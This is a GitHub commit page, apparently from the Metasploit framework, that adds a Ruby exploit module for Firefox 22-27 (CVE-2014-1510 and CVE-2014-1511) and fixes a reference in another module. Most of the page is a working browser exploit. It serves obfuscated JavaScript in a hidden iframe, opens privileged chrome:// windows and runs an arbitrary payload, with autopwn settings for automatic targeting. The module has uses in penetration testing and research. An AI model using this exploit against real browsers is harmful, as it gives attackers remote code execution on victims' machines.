Skip to content

Commit 52f3312

Browse files
committed
Add Firefox WebIDL Javascript exploit.
Also removes an incorrect reference from another FF exploit.
1 parent 95fbb8f commit 52f3312

File tree

2 files changed

+148
-2
lines changed

2 files changed

+148
-2
lines changed

modules/exploits/multi/browser/firefox_tostring_console_injection.rb

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -37,8 +37,7 @@ def initialize(info = {})
3737
],
3838
'DisclosureDate' => "May 14 2013",
3939
'References' => [
40-
['CVE', '2013-1670'], # privileged access for content-level constructor
41-
['CVE', '2013-1710'] # further chrome injection
40+
['CVE', '2013-1710'] # chrome injection
4241
],
4342
'Targets' => [
4443
[
Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/exploitation/jsobfu'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::BrowserExploitServer
13+
include Msf::Exploit::Remote::BrowserAutopwn
14+
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
15+
16+
autopwn_info({
17+
:ua_name => HttpClients::FF,
18+
:ua_maxver => "22.0",
19+
:ua_maxver => "27.0",
20+
:javascript => true,
21+
:rank => ExcellentRanking
22+
})
23+
24+
def initialize(info = {})
25+
super(update_info(info,
26+
'Name' => 'Firefox WebIDL Privileged Javascript Injection',
27+
'Description' => %q{
28+
This exploit gains remote code execution on Firefox 22-27 by abusing two
29+
separate privilege escalation vulnerabilities in Firefox's Javascript
30+
APIs.
31+
},
32+
'License' => MSF_LICENSE,
33+
'Author' => [
34+
'Marius Mlynski', # discovery and pwn2own exploit
35+
'joev' # metasploit module
36+
],
37+
'DisclosureDate' => "May 14 2013",
38+
'References' => [
39+
['CVE', '2014-1510'], # open chrome:// url in iframe
40+
['CVE', '2014-1511'] # bypass popup blocker to load bare ChromeWindow
41+
],
42+
'Targets' => [
43+
[
44+
'Universal (Javascript XPCOM Shell)', {
45+
'Platform' => 'firefox',
46+
'Arch' => ARCH_FIREFOX
47+
}
48+
],
49+
[
50+
'Native Payload', {
51+
'Platform' => %w{ java linux osx solaris win },
52+
'Arch' => ARCH_ALL
53+
}
54+
]
55+
],
56+
'DefaultTarget' => 0,
57+
'BrowserRequirements' => {
58+
:source => 'script',
59+
:ua_name => HttpClients::FF,
60+
:ua_ver => lambda { |ver| ver.to_i.between?(22, 27) }
61+
}
62+
))
63+
64+
register_options([
65+
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])
66+
], self.class)
67+
end
68+
69+
def on_request_exploit(cli, request, target_info)
70+
send_response_html(cli, generate_html(target_info))
71+
end
72+
73+
def generate_html(target_info)
74+
key = Rex::Text.rand_text_alpha(5 + rand(12))
75+
frame = Rex::Text.rand_text_alpha(5 + rand(12))
76+
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
77+
data_uri = "data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function(){},function(){top.vvv=window.open('chrome://browser/content/browser.xul', 'sd32elf', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>"
78+
79+
js = Rex::Exploitation::JSObfu.new(%Q|
80+
var opts = #{JSON.unparse(opts)};
81+
var key = opts['#{key}'];
82+
83+
// Load the chrome-privileged browser XUL script into an iframe
84+
var c = new mozRTCPeerConnection;
85+
c.createOffer(function(){},function(){
86+
window.open('chrome://browser/content/browser.xul', '#{frame}');
87+
step1();
88+
});
89+
90+
// Inject a data: URI into an internal frame inside of the browser
91+
// XUL script to pop open a new window with the chrome flag to prevent
92+
// the new window from being wrapped with browser XUL;
93+
function step1() {
94+
var clear = setInterval(function(){
95+
96+
// throws until frames[0].frames[2] is available (when chrome:// iframe loads)
97+
frames[0].frames[2].location;
98+
99+
// we base64 this to avoid the script tag screwing up things when obfuscated
100+
frames[0].frames[2].location=window.atob('#{Rex::Text.encode_base64(data_uri)}');
101+
clearInterval(clear);
102+
setTimeout(step2, 100);
103+
},10);
104+
}
105+
106+
// Step 2: load the chrome-level window up with a data URI, which
107+
// gives us same-origin. Make sure to load an "<iframe mozBrowser>"
108+
// into the frame, since that will respond to our messageManager
109+
// (this is important later)
110+
function step2() {
111+
var clear = setInterval(function(){
112+
top.vvv.location ='data:text/html,<html><body><iframe mozBrowser src="about:blank"></iframe></body></html>';
113+
clearInterval(clear);
114+
setTimeout(step3, 100);
115+
}, 10);
116+
}
117+
118+
function step3() {
119+
var clear = setInterval(function(){
120+
if (!frames[0]) return; // will throw until the frame is accessible
121+
top.vvv.messageManager.loadFrameScript('data:,'+key, false);
122+
clearInterval(clear);
123+
setTimeout(function(){top.vvv.close();}, 100);
124+
}, 10);
125+
}
126+
127+
|)
128+
129+
js.obfuscate
130+
131+
%Q|
132+
<!doctype html>
133+
<html>
134+
<body>
135+
<iframe id='#{frame}' name='#{frame}'
136+
style='position:absolute;left:-9999999px;height:1px;width:1px;'>
137+
</iframe>
138+
<script>
139+
#{js}
140+
</script>
141+
#{datastore['CONTENT']}
142+
</body>
143+
</html>
144+
|
145+
end
146+
end
147+

0 commit comments

Comments
 (0)